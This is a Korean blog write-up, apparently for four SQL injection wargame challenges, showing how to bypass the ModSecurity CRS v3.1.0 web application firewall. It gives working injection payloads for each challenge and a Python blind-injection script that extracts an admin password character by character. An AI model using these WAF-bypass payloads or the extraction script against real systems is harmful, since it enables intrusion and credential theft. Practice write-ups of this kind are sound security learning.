해당 4개의 문제는 모두 bypass the WAF문제입니다.
또한 모두 약한 필터링을 하므로 WAF를 우회하는 방법만 알고 있으면 아주 쉽게 풀 수 있는 문제들이 입니다.
cthulhu 문제를 보면 맨 위에 어떤 WAF를 사용하는지 알려줍니다. (ModSecurity Core Rule Set v3.1.0을 사용합니다.)
ModSecurity Core Rule Set v3.1.0 취약점, ModSecurity Core Rule Set v3.1.0 우회하기, ModSecurity Core Rule Set v3.1.0 bypass 등등을 검색하면 쉽게 우회하는 방법에 대하여 정보를 쉽게 구할 수 있습니다.
정보 출처 : github.com/SpiderLabs/owasp-modsecurity-crs/issues/1181
Bypass the latest CRS v3.1.0 rules of SQL injection · Issue #1181 · SpiderLabs/owasp-modsecurity-crs
Type of Issue False Negative Description Per #1167, I wanna raise more FNs in this thread. Before getting into other FNs, I want to give out more information to #1167 so as to help the maintainers ...
github.com
해당 글에 따르면 <@=1 [추가적으로 코드] : 이런 형식을 사용하면 된다는 것을 알 수 있습니다.
1. cthulhu
쿼리의 실행결과가 존재하면 되는 문제 같습니다.
payload : ?id='<@=1 or 1--+-
2. death
단순히 쿼리의 실행결과가 admin이면 됩니다. admin이 필터링되어있습니다. 이는 hex로 또는 concat함수로 우회할 수 있습니다.
payload : ?id='<@=1 or id=concat('a','dmin')--+-
3. godzilla
admin의 pw를 알아내는 문제로 간단한 블라인드 문제입니다.
코드는 다음과 같습니다.
import requests
#쿠키 설정
cookies = {'PHPSESSID': '쿠키 값'}
#기본 설정
password = ""
length = 1
#pw길이 구하기
while(1) :
parameter = "?id='<@=1 or id='admin' and length(pw)="+str(length)+"-- -"
url = 'https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php' + parameter
res = requests.get(url=url, timeout = 10, cookies=cookies)
search = "Hello admin"
result = res.text.find(search)
length = length + 1
if result != -1 :
break
print("length : "+str(length - 1))
#pw 구하기
for i in range(0, length) :
for j in range(48,127) :
parameter = "?id='<@=1 or id='admin' and ascii(substr(pw,"+str(i)+",1))="+str(j)+"-- -"
url = 'https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php' + parameter
res = requests.get(url=url, timeout = 10, cookies=cookies)
search = "Hello admin"
result = res.text.find(search)
if result != -1 :
print(str(i)+" : "+chr(j))
password = password + chr(j)
break
print("password : "+password)

4. cyclops
쿼리의 실행결과에서 id가 first이고 pw가 second인 문제입니다. 옆에 주석에 나와있듯이 union select를 사용하는 것을 확인할 수 있습니다.
payload : ?id='<@=1 union/**/select 'first', 'second' --+-
추가로 : 그냥 union select를 사용할 경우에는 403 Forbidden이 뜨는 것을 확인할 수 있습니다. 따라서 검색해보니 정보 글에 따르면 union /*!+select 'first', 'second'*/--+-으로 사용할 수 있습니다. 따라서 union와 select 사이에 있는 공백을 우회하면 될 거라고 생각하였습니다.
'Hacking > LOS : Lord of SQLInjection' 카테고리의 다른 글
LOS : manticore (0) | 2020.11.07 |
---|---|
LOS : chupacabra (0) | 2020.11.06 |
LOS : alien (0) | 2020.11.04 |
LOS : zombie (0) | 2020.11.04 |
LOS : ouroboros (0) | 2020.11.04 |